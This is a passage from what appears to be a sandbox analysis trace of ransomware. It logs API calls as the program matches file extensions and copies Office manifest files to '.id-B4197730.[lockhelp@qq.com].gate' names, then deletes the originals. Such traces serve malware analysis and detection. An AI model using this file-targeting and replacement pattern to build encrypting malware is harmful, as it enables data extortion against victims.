lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0124.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0124.812] lstrlenW (lpString=".1cd") returned 4 [0124.812] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0124.812] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001A-0000-1000-0000000FF1CE.xml") returned 104 [0124.812] lstrlenW (lpString=".jpg") returned 4 [0124.812] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0124.813] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0124.813] lstrlenW (lpString="AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 53 [0124.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0124.813] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=2147) returned 1 [0124.813] CloseHandle (hObject=0x318) returned 1 [0124.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 0x220 [0124.813] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0124.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0124.813] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0124.814] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0124.814] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0124.814] GetLastError () returned 0x0 [0124.814] ReadFile (in: hFile=0x318, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x863, lpOverlapped=0x0) returned 1 [0124.937] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x870, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x870, lpOverlapped=0x0) returned 1 [0124.938] ReadFile (in: hFile=0x318, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0124.938] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0124.939] SetEndOfFile (hFile=0x364) returned 1 [0125.334] CloseHandle (hObject=0x364) returned 1 [0125.337] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0125.337] SetEndOfFile (hFile=0x318) returned 1 [0125.338] CloseHandle (hObject=0x318) returned 1 [0125.338] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0125.339] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-001f-0c0a-1000-0000000ff1ce.xml")) returned 1 [0125.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0125.339] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0125.339] lstrlenW (lpString=".doc") returned 4 [0125.339] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.339] lstrlenW (lpString=".docx") returned 5 [0125.339] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.339] lstrlenW (lpString=".pdf") returned 4 [0125.339] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.339] lstrlenW (lpString=".xls") returned 4 [0125.339] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.339] lstrlenW (lpString=".xlsx") returned 5 [0125.340] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.340] lstrlenW (lpString=".ppt") returned 4 [0125.340] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0125.340] lstrlenW (lpString=".zip") returned 4 [0125.340] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.340] lstrlenW (lpString=".rar") returned 4 [0125.340] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.340] lstrlenW (lpString=".bz2") returned 4 [0125.340] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.340] lstrlenW (lpString=".7z") returned 3 [0125.340] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0125.340] lstrlenW (lpString=".dbf") returned 4 [0125.340] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0125.340] lstrlenW (lpString=".1cd") returned 4 [0125.340] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0125.340] lstrlenW (lpString=".jpg") returned 4 [0125.340] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0125.340] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0125.340] lstrlenW (lpString=".doc") returned 4 [0125.340] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.340] lstrlenW (lpString=".docx") returned 5 [0125.340] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.340] lstrlenW (lpString=".pdf") returned 4 [0125.340] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.340] lstrlenW (lpString=".xls") returned 4 [0125.341] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.341] lstrlenW (lpString=".xlsx") returned 5 [0125.341] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.341] lstrlenW (lpString=".ppt") returned 4 [0125.341] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0125.341] lstrlenW (lpString=".zip") returned 4 [0125.341] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.341] lstrlenW (lpString=".rar") returned 4 [0125.341] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.341] lstrlenW (lpString=".bz2") returned 4 [0125.341] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.341] lstrlenW (lpString=".7z") returned 3 [0125.341] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0125.341] lstrlenW (lpString=".dbf") returned 4 [0125.341] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0125.341] lstrlenW (lpString=".1cd") returned 4 [0125.341] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.341] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-001F-0C0A-1000-0000000FF1CE.xml") returned 104 [0125.341] lstrlenW (lpString=".jpg") returned 4 [0125.341] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.341] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0125.341] lstrlenW (lpString="AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 53 [0125.341] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0125.342] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=1261) returned 1 [0125.342] CloseHandle (hObject=0x318) returned 1 [0125.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 0x220 [0125.342] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0125.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0125.343] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0125.343] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0125.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0125.343] GetLastError () returned 0x0 [0125.343] ReadFile (in: hFile=0x318, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x4ed, lpOverlapped=0x0) returned 1 [0125.600] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x4f0, lpOverlapped=0x0) returned 1 [0125.601] ReadFile (in: hFile=0x318, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0125.601] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0125.601] SetEndOfFile (hFile=0x364) returned 1 [0125.602] CloseHandle (hObject=0x364) returned 1 [0125.610] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0125.610] SetEndOfFile (hFile=0x318) returned 1 [0125.611] CloseHandle (hObject=0x318) returned 1 [0125.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0125.612] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-0054-0409-1000-0000000ff1ce.xml")) returned 1 [0125.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0125.612] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0125.612] lstrlenW (lpString=".doc") returned 4 [0125.612] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.612] lstrlenW (lpString=".docx") returned 5 [0125.612] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.612] lstrlenW (lpString=".pdf") returned 4 [0125.612] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.612] lstrlenW (lpString=".xls") returned 4 [0125.613] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.613] lstrlenW (lpString=".xlsx") returned 5 [0125.613] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.613] lstrlenW (lpString=".ppt") returned 4 [0125.613] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0125.613] lstrlenW (lpString=".zip") returned 4 [0125.613] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.613] lstrlenW (lpString=".rar") returned 4 [0125.613] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.613] lstrlenW (lpString=".bz2") returned 4 [0125.613] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.613] lstrlenW (lpString=".7z") returned 3 [0125.613] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0125.613] lstrlenW (lpString=".dbf") returned 4 [0125.613] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0125.613] lstrlenW (lpString=".1cd") returned 4 [0125.613] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0125.613] lstrlenW (lpString=".jpg") returned 4 [0125.613] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0125.613] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0125.613] lstrlenW (lpString=".doc") returned 4 [0125.613] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.613] lstrlenW (lpString=".docx") returned 5 [0125.613] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.614] lstrlenW (lpString=".pdf") returned 4 [0125.614] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.614] lstrlenW (lpString=".xls") returned 4 [0125.614] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.614] lstrlenW (lpString=".xlsx") returned 5 [0125.614] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.614] lstrlenW (lpString=".ppt") returned 4 [0125.614] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0125.614] lstrlenW (lpString=".zip") returned 4 [0125.614] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.614] lstrlenW (lpString=".rar") returned 4 [0125.614] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.614] lstrlenW (lpString=".bz2") returned 4 [0125.614] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.614] lstrlenW (lpString=".7z") returned 3 [0125.614] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0125.614] lstrlenW (lpString=".dbf") returned 4 [0125.614] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0125.614] lstrlenW (lpString=".1cd") returned 4 [0125.614] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.614] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0054-0409-1000-0000000FF1CE.xml") returned 104 [0125.614] lstrlenW (lpString=".jpg") returned 4 [0125.614] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.615] lstrcmpiW (lpString1=".xml", lpString2=".gate") returned 1 [0125.615] lstrlenW (lpString="AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 53 [0125.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0125.615] GetFileSizeEx (in: hFile=0x318, lpFileSize=0x34eff14 | out: lpFileSize=0x34eff14*=14913) returned 1 [0125.615] CloseHandle (hObject=0x318) returned 1 [0125.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 0x220 [0125.615] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate")) returned 0xffffffff [0125.615] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0125.616] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0125.616] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0125.616] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml.id-b4197730.[lockhelp@qq.com].gate"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0125.616] GetLastError () returned 0x0 [0125.616] ReadFile (in: hFile=0x318, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x3a41, lpOverlapped=0x0) returned 1 [0125.671] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x3a50, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x3a50, lpOverlapped=0x0) returned 1 [0125.673] ReadFile (in: hFile=0x318, lpBuffer=0x3f17020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x34efecc, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesRead=0x34efecc*=0x0, lpOverlapped=0x0) returned 1 [0125.673] WriteFile (in: hFile=0x364, lpBuffer=0x3f17020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x34efc94, lpOverlapped=0x0 | out: lpBuffer=0x3f17020*, lpNumberOfBytesWritten=0x34efc94*=0x13e, lpOverlapped=0x0) returned 1 [0125.673] SetEndOfFile (hFile=0x364) returned 1 [0125.673] CloseHandle (hObject=0x364) returned 1 [0125.674] SetFilePointerEx (in: hFile=0x318, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x34efec0 | out: lpNewFilePointer=0x0) returned 1 [0125.674] SetEndOfFile (hFile=0x318) returned 1 [0125.675] CloseHandle (hObject=0x318) returned 1 [0125.675] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml.id-B4197730.[lockhelp@qq.com].gate", dwFileAttributes=0x220) returned 1 [0125.676] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-006e-0409-1000-0000000ff1ce.xml")) returned 1 [0125.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0125.676] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0125.676] lstrlenW (lpString=".doc") returned 4 [0125.676] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.676] lstrlenW (lpString=".docx") returned 5 [0125.676] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.676] lstrlenW (lpString=".pdf") returned 4 [0125.676] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0125.676] lstrlenW (lpString=".xls") returned 4 [0125.677] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0125.677] lstrlenW (lpString=".xlsx") returned 5 [0125.677] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0125.677] lstrlenW (lpString=".ppt") returned 4 [0125.677] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0125.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0125.677] lstrlenW (lpString=".zip") returned 4 [0125.677] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0125.677] lstrlenW (lpString=".rar") returned 4 [0125.677] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0125.677] lstrlenW (lpString=".bz2") returned 4 [0125.677] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0125.677] lstrlenW (lpString=".7z") returned 3 [0125.677] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0125.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0125.677] lstrlenW (lpString=".dbf") returned 4 [0125.677] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0125.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0125.677] lstrlenW (lpString=".1cd") returned 4 [0125.677] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0125.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0125.677] lstrlenW (lpString=".jpg") returned 4 [0125.677] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0125.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0125.677] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-006E-0409-1000-0000000FF1CE.xml") returned 104 [0125.677] lstrlenW (lpString=".doc") returned 4 [0125.678] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0125.678] lstrlenW (lpString=".docx") returned 5 [0125.678] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0125.678] lstrlenW (lpString=".pdf") returned 4 [0125.678] lstrcmpiW 